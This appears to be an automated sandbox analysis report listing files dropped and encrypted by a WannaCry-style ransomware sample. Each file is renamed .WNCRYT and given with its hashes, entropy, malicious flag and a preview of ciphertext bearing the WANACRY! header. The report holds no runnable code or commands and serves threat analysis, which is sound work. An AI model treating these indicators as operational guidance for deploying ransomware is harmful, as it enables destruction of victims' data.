                                      Preview:WANACRY!.....K{..D.J...t.m}>.0......p.b.0...1...O.>..../.L..;.d..<. . .m...d.9dr...R....]....=@....`s....S.g..........%....&..W.....OV.5oY!Kf.K.....f..H..U"..G.M.#..!Y........s]W..5C..%..".k....C.p...Y.}......o6.g.P....7 ...?...e`.*&....?J.*$..Q.M..._I.1R............A..A..G.&hn6.\+......?5-SR..b4...1...F.I.....'...b..tj+.*C.}.....R..H...... .ZK.;.}.+....{.FC.......c.._K.....|+6.....+D...B..$MU.Ma!/@.......@..G/.Q.9..u8._..6..._.....}H.H.......3.Z..X........2E#a..._..6.g.K.N.V.#I...7.Sr..+.5...0.jvk.@..H.QB.!.....5...9..M.....qZq..s}.W..2Z.k.p.GI...9.[.b.....0..G.p)j.C2.D..).&.V.2..9}.VS4.,.|.;.#..v...H....V.J.I.~.h..N..1. ...K-.)...1h..$...t.tY.....oP..=*.7.?.Ldl..e<w8Y.p....F.}<.NF....~........N......`..I..oAD....Z.#*].D.....^M.......C#.Du.W>]......pL.*p...L.?4s.....u......7I.0tN..Q.FE$.Y+t..e;.I.%}'./..f..h.A.3...*v.[.Z.F#.+.s.]...;..*p..2,<t. ...@...\ ...".&....L.....5.}B.N.u.]....w.. C2.Qx...IT.O.6W1\.......^...V..2.....?v6.)}W..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\0jUdtV12Tn_stZnlwEN7jHJWY2Y.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1752
                                      Entropy (8bit):7.868206614812708
                                      Encrypted:false
                                      SSDEEP:48:bk8vlXG+YvP3nEw408bvLnMXcSwooYtwCz0sR5k6n8aZn0aCUb:o8vlUvPXEw40CjnKhoYCCNSkTNGUb
                                      MD5:BA59108B09A3587943FDC0898DBF9DCB
                                      SHA1:F1A67F40740F56A76FC0B0B09737A61F7EA447D8
                                      SHA-256:481F313056200DE975F9504A80DC5E9F1609757FA53432A5C76727CD3719B707
                                      SHA-512:948E0FA1D91E9F5A49527D566BE10CAE2D453233F2C42A65B6F8556F9291E7A7AB95C720EF3CBB76E47F7C4935643D970BF00BAEC6EDA57D6F6A8254C6731C24
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....D.y..p..T...tu.K..\'h../>".u...|.(..../..u.B1N*..k....*.!.....4..-......;...6.)qZ.)..v......j..b..<.z.<.sD.W~..^....e.n...5.....h... ry>6...^..............?.s......K....Kh4F..h.-L.a.H...p..R-..g.+.....{I.Yp.6.>..v..#*..X.l..1....%....|l.................%.xv..i1.?$Dc!.mU+..e.o.V.......j.~sH..p...._Nz...........S.t.......5.-..v.].@..P/..-.E.l.+...>.$.$.>..9.Sr.....<....mz.i.c..j.vU._.......[..*.h.T}..O..x.W8.G.+.g.A..!.HK.4.........1...:...n.X....hA...#.\c....j...........`|.T.......J.b........^{...T.c$SD.-Y.e../...c......H..]..]/..)v....Jc9..y........A..e.,f.....8.(....R.).#.L..;.. ......N.9.J/.wRD...c.;.Q.....M.#......O?..z.s.3O...b......$..........;.....S.........F.+v.m..k..~...r........9i..8e]....D..z~....d4..h.f.<..).>.F......i.z29`V..M.k._DW.Mi(....t`.fn.....pw.\...)e..lQ....'...s...R.G.#.H....^........[..J..3....c.]..o<.........e...)......d..eC".<d.Z../....R......3.|.WG..Q..[..t.@..S..-.U.S|.....:.........R.m!"x.(T.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\1p7Pm8MlCViA2LDR4P2jaN0n9x8.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2184
                                      Entropy (8bit):7.908323444270336
                                      Encrypted:false
                                      SSDEEP:48:bkq3+e1VvZTxI8fV/fOFr1HUYoYda87ELE+pt/8/g6i:oq3+e7dfhIVUYddjzap81i
                                      MD5:D116D7D3E23EE237F0340CA99C67A0C1
                                      SHA1:5538FF1D426CBB584AA83F2DE1655798D4D58469
                                      SHA-256:6ED68BC2B39868B7703D98C5CF644689ECC3DFCAF85994BBA0A9179319240ED7
                                      SHA-512:460AE315DE294405E4739890AACE7CE54658BBC21F9875666DD037C9D3214E51477265CFF7340E4CDFB41070BB49322E152C0A069142CC2A257BF98E7885C468
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....W.............2... ...J..H.z.._..I..yT...Q#.A_..L02...C).....4.3o...f+3r.ox..d.g......~1VZ...B&..K/.w[.`{..xZ.b..=.+....'...-..|..%..u.+......#fA.^Hz.^e.@.}.......c(.....l.....ss,A.K].z..Q.I>1.,.f.oV..^.+...V...-G[......M.DX.c.B.q..6....4..)]C..y....b.......5jrK9y.|.X.K...FB..`.<.........C.?zJ.U...|twNiB...G.TE....*...."..#..W..P.._.R..`8.@B/.# ]T.R`F....1B....w.&.Pp..7......U>.1U..l..F...}..F.mZ.<......W.C...N}..##eO......"..Tl._a.R......E.R;j..o.o.%.@tn9V.\..&.&:@.i..........i...Q+.......Nu..K..l.,D.h.d.8..I.c&...~..WY....Of......Z..$._....4....k..-.@._........VX..... F..t....:."..f......3c.mm...O...=...~|..p..m.z.%....pge..;iU9.. .O...H.m...Ku..z.......42...gv[.f.....sM..B.r.;D.G......{..N1.A...d"A.UK...lD-{....G............~.e..`c.-........w..5.....r...).Z..g..8...k.aa....A.....t.....\..E..&..s..0..".|C...W..,...r^..k..%.m...3....f..0.h.k{..VWg..|.$Z..1..$....3...z.g$.H."...U.X+.l.Hq..? B%..+[..7j.f..n....nj.c.f

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\42HhBw2PaBWYkvDpc1N4lDN1q0Y.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):12392
                                      Entropy (8bit):7.982179091828936
                                      Encrypted:false
                                      SSDEEP:192:VkclIqv/qQ/MZ1mZDJ47tOyVncTroeeFyDEHiSjQU2VcWspR0IZug/x9:KeIqd2maOyRcTrJiykn2V6ju2v
                                      MD5:3ECE60E27D5D2829915E18DA314842DB
                                      SHA1:836E9FE5B75C076C595F868BF40849DD5D7302FC
                                      SHA-256:21455065AE04947B019AFCECB27B9002E6C24554C59C54C9F3DE2B07E9967EF4
                                      SHA-512:6F4EB8B5A85093A752EE2941E0B7CF56EE430C2062E2E3F4FFD29DB331E6B2FFB8564C5E87E8FD5BFDD5B5F5507FD43B4B3D0BA32F92311B3697F01E49B975CA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......<t.4x}.^./A...:N'..2...HB.|.I#.Y......?.....QP.......R.~=D.\?...T.$...%.An...P...7..A..U.o3n.."\/.Zati......U.|%!......`'.W....8.L.%d.....r.-.2.../..{...%j7.X..p=.D...w.fL....$o.....+.q..*F.;.....r.q.D....9?.../.,E~...-$.;Q.RKy5._.5.%.......7.;......O/......,...@a....8..k...y=:.z.<.....$M.s...dO.......8......0..4~kBg.a.....*h.....$D.BV5.|...|..F..X..A..@.z:T........:u.C.{..5.O.y."a#..!.]..&`h...PQ....G.3.n.B...7.....:i*...}D@o{(.....W....+.R.t..*. QT.......,........B.R..g@..lOE....Y..{.VvO..`p. /..Dh.Av..1i.........<8...&k.>....qg..C@. _:.c.4T......Q+.s.lM...Q....1\.*~j_..,....<y...m%.$...3Y0....3h.....U.F...L.r0q.1..S.m}H..m|^....~.>w....I.5.}*..b.a......z..k.....i..Z.=.%.YH_e.wNBQ....l2.~.ZlKR..X%sOqf..&T.z.!..}.[.....9.k."D{OZ.f.?.:..e..F..N........q.9TS4}..]..A.5z5a.j8..0X't....<*.%.;...V..j..Q.....;/.v..~....1.....=9.l..........%..O...v..a......K.I.FLwC..>.%B.s3c.....dt.&7.#w....i.nB..c....."$...............A.lJ.]2.azFO.. ..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\4bnLx4S3ZRMpYV30k3R5vRy8JVg[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):22216
                                      Entropy (8bit):7.991422542698354
                                      Encrypted:true
                                      SSDEEP:384:Excza3cbB1LMEMocpQCuxGXwjfFeDsQCJdlXKhLaTG0QS2pbdvFX:EqzRbB1LMzo9JdjfUATzKLaTGjX/
                                      MD5:F1217D00BFBE9CDE0678AD8C48407822
                                      SHA1:54CBB66CDC19B991EB0046C03FCE533BA6778EC4
                                      SHA-256:54ABCB5F4F40BC5C1D03A59E88D5F9F38214BF44E58D18EC435FFDD24D10B885
                                      SHA-512:FD4A6B1FC6AC526BEF74B43C192F123461E404F6935D5A14E5ADA4C072E6154C819D2FCC772CB0D960B0D1C247632E55763CB34E0673EAD46403CF2B1AE3C973
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.... $1r...L.m....<,6..1TXh...X.`../._.1.....c..n.~H.......Y5.Q..u..:....^i&..85..k(.i.:..Dq.7.....X(.B=.C.!.R..Q0.u......Nb@b!..ja..L.m.e.Z2..a..Y...=..F...ARo.%A.q......:/..X.,...Tk_..s..c&.N..U.I....+.$...[...5.....}'C...$......hk....+;R.O.5....._.....U......j...A.D.o`P.....-..$.:%.........YL..8..v8.........."~...o.0=i..N1...D=..Amt.....\%..T....R9.ap.t..n.f..Z6..c...j.j._.._0.v./..J....Y...&G%6K.*..PYv..7G..gR.Gk..a..T..9.m.z.+35...y..a-i....me#.".......U...`.G...^-./8S.....^..H..E._..s.....]..Ly..Y|.n.q...V|....6.Hv.w......2*..B..q..[....a.gz...d.>.pn.S.s....%y......X.Ze.....j.%..c..0\..#.E.[.)u`......){.....[.t...t..}./....O...C..FHn.J..i.Z.......?~.&.....Q@....E.q_...5.x0.C.....2.....$0.%..,D.F3.l.TlJZjQ..t:O..}..D....Y.k$..`..i...gF\<A..,.F4yj...B..314.B9..2&..f.........!..nT.w...N..f`.....*."T..0I..s.u.....%.9...@.]...M....I...q..N......C..x.C....p...1.^Fv.........{!qhk.gT..9.Y.......y.}c..[...M....H....V.......*e...../...u.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\57PGj0svtg0ZIpoZH9o5Ed_b31E.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):10888
                                      Entropy (8bit):7.981813556624607
                                      Encrypted:false
                                      SSDEEP:192:5gqSdDV0D1E09cr/iQX59Ad6ynQ0nPBJX+SVV8pFUeMuMqquP/2R1GvHL5E:VamD1E0arJX59AdjnQQPBYSrwTRBnq1R
                                      MD5:EE9EDD185F02B2BB75A2F0F476A47139
                                      SHA1:600192402C09522F3925635D63787D24A5960F1D
                                      SHA-256:1F14993916BA6CC667224313F229F58757AC46FC599A184C1D9A274F840E9E1D
                                      SHA-512:3E5B43DE248DC1C9ED4B7736DD8594986C89EE9E88C13FC87CB613C5E852D8DBE26FE8260F880430FF91E1678A56CF77CD712B54E429B0CEFDA54BC47294F916
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....M..m.uU..5.o......h......Z.#.ar.s 0..../...B.u(.j.?.w..'..W.<..b.H./..%L..&|...#..n.......]e...4v..S..4sb...uD...Ww.M....;.j.b)b..d.I....&....V..x...........<<..b.h.9....g.WL...DO.ksm............K.......f......FX.=Z....SL.9.."....b..<....j)...........O..>....9.u.._..^....?..M.p.? .i...}.UQK>p]...&...t.....R....1.g.....@....!y.../....P..}k.......Y.:.......a.AiI.....LZ...{...7...av..ni.x...x..+r..P...)@q.......1....&W...^......B?....__..>..Y.."..Y.|.@.d._l\.O..3G.........N_...<]Q.0.,.KP?....#.&.......*W.I......q.......C.g.]".ln!#"t...c>.KF.h..............5u:..T.1 t..&..~w...v....<...K..........8j^...TZE.-.h2...Wri3...C5.=.?=...N$......v.m..q...q2".J....H..-.......S..,...l......X..@+.......2.Zf.%...n..Riy..y...;..6..=q.|]=....Z...v...c..I..;u.?...G.].4.s......S"?.....baH'.k..^.o.o...Ja...&8.<{.....R...~K.....e..\oR..4g..,E....EL.8.}....V...].M<s..k.......R..e8.+.y.s0.Y....o.....'..m..C{..."z.......zs..M.i.L..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\5OTpvf8opqAJEtm9ZhZuPCZdlmQ.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):17784
                                      Entropy (8bit):7.987927324123345
                                      Encrypted:false
                                      SSDEEP:384:6Ib59Ym00n177OaLWrD3rErHxoxjp5u5TGc:Jbbxx7OakrrEriJYTGc
                                      MD5:7D6E14CAF1A9A68AAA55C475E2B7A6D6
                                      SHA1:B1110140F1FDC0604128A0BB43E14C93ABF48B36
                                      SHA-256:10D64B7C14F2AD975D24989DB199D1D2C23BD6CC4F19D30F4A2BAFAC6B28FBA7
                                      SHA-512:7CB476558510BB9605F19DB8E71AA84365E296ED37F23FD859E7797FE5D42B9CE47FD399857ACAE40A81453FC208376E219C4D44E477A2E9C1131B7A4701B4F8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....,ZE..P&...Ixbn.~...W..WQ...3..tn..y....3.....}xBA..t..#...:.Xu....0J.M.7.. .c..*.NB9qQ.FI.Q.E^\1....d.9....=..x..S'...'.*K.+...}..LL...0J#k........gO......l.e...L...z....M@.<G[v..p5.9.y..X.c.R.....n..?.q..=.?...x.l.6ISo..+f..C.Y.p!........+....ZD......k>..l..j..V'BwT.qp8U.oR.N..Y.!.....Lq...;2. -..d.er..X1A.....O.....O......3.Stn.}).t...H..O.V(Ke~.k.....$.u..K...`~....F'.....M.:.0.k..k.%...FL.=,M.w..>..c.l1>..`$....:.%.X......X....UB.......9....c.....s2d.....z......^..1"....`=..7i.....A[B.y....GY,qn..j..T.jC...f/&+...3.0!..-. Z31-..H...Y.~.m.X.'..$....2%.N.^x.%....8G......T.(...Y....I.<..Y....zc..T..-.jm.-..X.l.[=H1._...7.u...{S......=P9^...V..Q....y"..".V5Sk.2.B..k.k(...+...~.X|.......8XX.Bw.A...>...cO......|...QC."J.c.2.q.3.V..j+..U)>.n...uc...ih.d.6[\...(I.TS..9y_w\g.y.....W6..\.X`2{.s%...@.6%)...B..y[.+..#.N..;...0...0.?.a..s.u8.\..%.Gq...5....;..?.lH.....#6.q....Q/U.M.v...L..+y.G..cw..F2....'...._....A.......?

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\7ZfXhrEob04xoRhLlPM73qlbsls.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):371928
                                      Entropy (8bit):7.999492346003323
                                      Encrypted:true
                                      SSDEEP:6144:OgJB6LLCqHq1OAhATiWTDMEacfgOIXUM3QradRo3qXnFCLn7mpMb:V6L2qHqIDTvacfuP83Osr7mKb
                                      MD5:11ED4414346CAEA46E67E7147DD8B763
                                      SHA1:539EF424BB150AAF6BF88EE19B0BAFAFCF705259
                                      SHA-256:CE9F1D55395FB1AA8ADA6056D4E112C112FA52C982FCC2C84A7945EF58F5C0DE
                                      SHA-512:A58EC8D07DA2FB1F7C901A4F20757E1B8ADA887570964CB88491FB9B77CB40E491110E015167FDC62E14F359920D118925BB432E15FC74DB40B0FDBE617FCFE5
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....y?..._e..R....k.........._5&..._.Iq....+U..{...."C.vVt5..P3.!.o..M./.P.i."'.J..#R.-(....O....bv|..... ..Q|....G....^..._......j.k..d.u@S........T6..."..d>...k.mr..".'?..:.f..q>. .E...v.w..1c...V.J....d..N|....le.3......b....h.....}T.....F............q........?.#..n...#..?...fP_.5....>B...JV&.H-...$@.dW...-,.s..yq....S....2..)...X....8:......GdZ...M...i7.e..=...c'.+?..>.:."'.B~.~.pL....]..we..c..]...:/.Q.w.C%.|...I..H^.MJ.....dO<.(.fD..6.b....`x.q..].*.=JT.D......;...#(.V$.mKh.....#{SB.eL..%..)@.$mI....\.-...h....D..[....F.........6.4.,....`0.O@.ES.5.o.c|....+.g.7..[..9.......a0w..P..~..-@K..m.(.. .Vp-..o..f.....w.....m.|Mu.T7..B.D....o.........g...v>........4.....Y.;..(v;.....b.O...0,.:...A..k...nj).yM.....E..I.q.8.?...9..B..2......`8...\...........1.........0.G..1._../....RAcU6.o*.~.D.J...d........M#.w..%..XaUj_D.Wl.....n..*...*....yC...^.{.U.!O.8.....{..o..Ow....X..TIlXo.=T.i....oz.<.WEwbH.;.T.9H.20v......<....x.'@....N

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\9XrvGJjLDjQS71Khbdm2AEhZanE.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1963704
                                      Entropy (8bit):7.999900093753654
                                      Encrypted:true
                                      SSDEEP:49152:+gAKLSWeAkFyoYOUZAAqUur5g2/htJKJ8CPL1JLo+qOh8nRKxm:+QGWeWVZAAUr5g2RKJrT67RKxm
                                      MD5:1E558662300FB088B08C561CA1A945E6
                                      SHA1:1E39788612B92ECC4FD5F9AFEE1FD99720038856
                                      SHA-256:3A4BB73EE110EE85992B246FE16A52AFA95FD26225E7A31CFB6A620B466DED9A
                                      SHA-512:801D5B2EAB554D08C9AD6EE51CD3896F39810E21118ED10AB1688044C63C3247C97EBA4CB4D0047156D73E759BBA438FF04E8346E2C0EE9EB4755A1A587D8804
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....IJ......D&....lg.......4!&..1.?...M{K.$.*....... A....%.A}..._.Imi.....@9.t...-c.Z)...9....h.RZry.TX....@k2+..$x.kxk*.IS.)?-Y..L..q..'.@>....a.....O......g..#I.~>1..y#vL.....W.p*.]....+.~'....7....g.\.....MD.C..w...J....$.y...J.H.9.?..o:0...z................i....%....]...1.@...2..5N..P..BU......}.ei.X..R....*..9...5.h...pz......,....J2/..T}.F..YCd~.:."$......[......'.qsS..1..gH...d.Fr.8.....H.5&p.~...hOda....P1...H..R..y.u......7V".1X.I.,A....Pl....<| 8.3.#....w..7=.Y.,...4/..m..5..2.n......+^~...lM.JR....B..(.t_....t-..6...).k..n.PW.>a...i......9\..K.V.H..naj.'n..s..b.O..{.:..;.fg..k...._...L&.e.U.q...o4....y..`....O.3Vx........~...z5.6Im..8#t.........x..I<...-.d?....*...\f_..@r.$...j.....dc.w..#.4..c....\".RWd.<*..c.;.......o.S{.^U0'>...H....$2-.>.. |.Q.....M:...l....S..e?..JS....$RuUA..... +D..L.6.}..H.X."."}M.+hZ...g..Dj".C......e..........^......m....5..Hw.{C9.-.....O.&.i@.9./....I.<..,XP....7...yFk..\..v..;.L.M.Y.GMJ..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\DFRwL8oOMKucye7OVYoqhw9WuHU.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):128840
                                      Entropy (8bit):7.99852806031815
                                      Encrypted:true
                                      SSDEEP:3072:UIkzdxUO6fZIYRKWK07mhucKbWVM1gsQfodR/:Xkh5gZI+Kp7U5nQfodB
                                      MD5:52D857E9CE98CDCA5671FE401AE99314
                                      SHA1:9F5B12FDDAFF7BDE7FF3AD5727004A92B4ADF703
                                      SHA-256:BEC57EE32269651F60A0DCB7FCA1C1701EE070E260C6D7A92F72EF334327460F
                                      SHA-512:2B7494DB431A54C74B27E1651410C3B4C57A312EF9688C8B094690662732858E4D65D13B86B3CD34F062F1B6F51F04E7086E2FAB353B3610371016BD652476CC
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....,ai.......b..3.b."..x..I.d..v..F..........+..j....K...`o...1.?.BK$.C\1J...>F.<.%..l.x*...Lg...3~..{.5H..k.4/@`.XV.?:..:*......b...:.j..Q.6ys..'A.i.c[.K..l..s....@...6.sg...qJ....j.g"..S.x.4./H.;?=.fD.>G....-..@#..n?.....6..X..U{E..#\..e.I!=..90f....#.......u...V.63<./+Lv.-rN).t.+.(.Vu_~4...C:..P....%.........Kx.4f./...../...5.p(.TyN...(a~.n..0...%~*..)Q...x.....g...."../.."S....<Ip..Pn>...c....5......U.E..Wa...O.d.zW..f.Fc.F50W-0S.j...p....}j[.'.4q.Gi..2.lX.o=.j...(.<..+.sFo.x../d......8l.OSv.{6r.0u..t....^]v......."m....A..w!Hw..<.v....{....v..eCG.73.......*..;..2...#.../.0....!c.....y.......W.._.1nG..%...d.!{lB.Dk"..2..4....K.f...).Cq.Q.]Bc.2.k.q_....`[.3........4...R5.J....vy...J^..7o.+.~.!.E.......P.[.,I%h6....R...EL..h..M_@<...]R.`...D..)...;.F.wh[...n5..RSG..k.f.{..X.............../h..].C..........V.1...L$...q..Kn..p;.#$e/..).i.j....a.^.G..?6'....bM.TC.96.Nps..M.x._.U.Z.*|..d$V.._....L..R.....Z.....K....m2..aB...G. ........g

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\GYWlhtp-2KUP3DrEvGq6qAwH9L8.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):282856
                                      Entropy (8bit):7.999289345475745
                                      Encrypted:true
                                      SSDEEP:6144:4ZFykiYM8mD24vudjTP8pRptFVkvn3RJBAqhWeiYXmG:iM894rpR8vn3RbAJg
                                      MD5:A623974B958DEB4BEDDAA3F50D15C658
                                      SHA1:5C618B845E40B8E8BD7761AD8C8ADF2043A1AAA2
                                      SHA-256:7322A24C9C53C84816969DFDDC4460B99413B3536247E7A728C1AE0E9F7949D2
                                      SHA-512:363976F83465B298602CD0F8098BFC2764CD8304CF4A7C0827DF480A6AD2905D24B1DF0A3AD63DCFF5DDE05566340C71F2734D77AAACE7C2B0ECFCA388591E28
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....lF~....@..).lr...&x.e...QX...3L..}|Vs...g.FH4}6.s,..MI.d.%..^........J.*..@.Mc.K..iv]..iJ.W..3.aj.-.0<D.@.....x..q.N.Q..+:e...;.C..!...O..j.....7I...fw!.pD.B.$...CP..M...L.....8d..........xE..L^........e..HZs(....G.....*dpe.0.......g..3.C.bl<...R......O........G(..0..`.!......a4....*c...V..%..v!F,."...qL.Uj_..]V.Gq.VD\kvLR..0W..R<."rW.....[q7.?>I.|........H.x.!\);&'d..-......j....N..YDI+..[c......x.;#.l....R...3......./C.HzD...W-b..P..I...Z>.R..m.c..O...H,:q$....{...H....6..@.Y.g.q<....C..U"..b.....5...S...a\A.._......%w....U,;.U~....$3'..?D2....%.1..#......7."..@c.Oo..K.i.(W.7..+..c..G..FO......=g.l..<.]...S<z{...#..h.V.'?....p..,.V...3....f.._.:.d.(;..p^.. ..........h...C..T.........u.............(..\J.k.+7.[ ..V.......y.....Zqh..Z....".*..=?p.G.P...e....s...EM..k.Lw..p.Z....d.;BD..].._........._..C....4..L]*..9..d.F.S..[......~.d...k;G......7.A.17.jM.......'..a.....}Z.....i&.<..&nA,...... ...O....c.y.v:..Tqr.h..6bE..`..D......bQ.\.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\H9vCzcJkG7onfVRyfU63hQ1yY20.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):3192
                                      Entropy (8bit):7.942008202962654
                                      Encrypted:false
                                      SSDEEP:96:oBjZtOz9FRgljU9IGLfUtaI31wLusH4Fj:2ZtMlglAlYa0CusH+j
                                      MD5:D5C0B0E684E3021D217D8396730C5260
                                      SHA1:2C0E2F601C7771194C9934A77731D3E5EF1EAE47
                                      SHA-256:B87ECC4CFCD3CF34FF8DBF453A8D623088DCF35D17D428A68747F086A9F93D8F
                                      SHA-512:A536E8623E59E8ADBF1E79584B8F0878023BD4C2EEB21B264363F6095F3DE06BA10267C47FAC942B2551E11B8D64A4C4499B3F3AB6DABEEC6DEE7EDBD1B0E318
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........Q.([.|.u.q...O.7.w..1.F.m.W.NvEh[.......@.WY4.?..Z..I.'9p..2sO.]...W....@..',...\..o...@.l..[...........!%.g..r.&n]..(...)e|....J!.'q.....l..%sP...qy%.'..+{#.....gQmMu..a.4.L...N..?u.......?.2&;.J....[Pr.....=..p8.....O....0Y<.....6....m3....X........`..a.^}.N_<.o...s..c..).@..E..o...,"._+]....F/...........P..;m..j.Q.D...S.../3Z.&n<M...|....w.M.......R....4l....g.i..5q..#,.LO2..d.u.F=s.v.."...U...$.(gY1.qS.3M..x.._..T.(\xk.g..qs..+.<..9@.`..!...5.k.@}..o.X.t.7z...o.X.rr.Vfd.....>.. .8.....o<...X.2?..C7..>..d.U.d\S0P%..J.#z.gGS ..j.0..>.{...H..oj{.h.';.8....O.W0..yb.'i.y..(%,6.5....3..UW..p...LbF.v..S.....qN.9X6..w.=D<.v~..b.K.d..)..poR.........<.>.7...'.b...Q..|..:..\...E...E...@....7mPy....r..+*.j03...3../.B.L.. i!.f.9..L%3......4D....\!. ...d.k!f.=..._#....I.bi... ......l..t...w..............A..A.O.tP..P4..\....7Q9.Q.c..3$.n....f....C.$2SE..-.t.UJtK.P...a...^.2....U...4........A'...FY<`.Q.|.....U...j..*.I'I>L.B..L.{..R...{.v

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\Hg6tBRUHG5-aBDi3pWOAYY-0ezY.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):21016
                                      Entropy (8bit):7.99065781267031
                                      Encrypted:true
                                      SSDEEP:384:UkQM9VhCbAxeSh6bUSc1OGbaA1j3zjZpisQYW90qsU5jbvlW06Ml+0:UkbV/eShCUSc1OGaiTzjaPsU1B4Mn
                                      MD5:BCF75D05AFFFFD76D057207825187D00
                                      SHA1:34209CEF242F065AD5B60AAC337035FEA41443CB
                                      SHA-256:FEAEF71ED927B19D6B89AAB496D42857F0AF27C20E0DB98BDFDB6B146BD92115
                                      SHA-512:E3422EECDB396130CE19CC6A7D461588CB03CC34018618C9FACD4D9AAC99AC7E343CD80E40BBC73126CB5A61BE90BF0B217E64CE84BD9983BBDD55B12DCB459B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....a..}.......e_x~..n.K7.&f.4...>......z.;..!.6.|......-.=.4;..^(.!Q.Z.>..c.........).G.Hx....$..3.....*....."....ky......;.n.R.h..x.ks2(..I..\..x.K..P..^.Q.........@.f.-.....V.l*0..).......f7>.....7.@..B.]...]....6@...k..s...}.......T!.?p.q]C|.....P......*.3.&...-.|.....VY.....p-....,. M;...|`.5...<)F...."-...C..*...r..b....t...9v.......1..{....z&.f.....=\.jv.(...H....|..=^..hW/..g.)..NT)+.R.e.F%..G.e-'.b.'....:..RY....$#.RN.J.jSV...2n.......4...NJ.....Pl...x.:.;.'J.C.....l.s.y.F..................X......$."/..oz#.+.D.%6;..:Q.<..H...t...F ...{........V..n..:........o.5'x.AT.|....-.._E@..V.o.....Z.A^.......Q.&{.N...|..w.<.s....*C.SB.h.A.d..w8.IQ.qU4.9).1Q3/...l.*.>J...h.vV....6,R.p.|........r.Ptwo...Q._m.P.e..E..i..x...\6U.....]W2D(........K..vO:V......S.t&...J.........i......;$$...k..@.....:. ..]c%..T.s..`.r....w..F}.N...Vk.......Y.aF$.*..*..g.....&....g...j.t....,....0....Mi..g^'..u....y.i.BO....eg......ak...S....p\.>.s..Q:$E|.V.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\65\KRGF6ZIGAEc_qQJgueszZZZOzNs.gz[1].js.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):45256
                                      Entropy (8bit):7.996023355129016
                                      Encrypted:true
                                      SSDEEP:768:B63uObOh/TecAJSiXXzRqyzOzTZYJo+pfxNo9QIZppf9BtoFzp4f:FObcrecG3jzYZuosNo9QIZpplfoe
                                      MD5:BF32E2B4837FDE82254C1F790FCFC26A
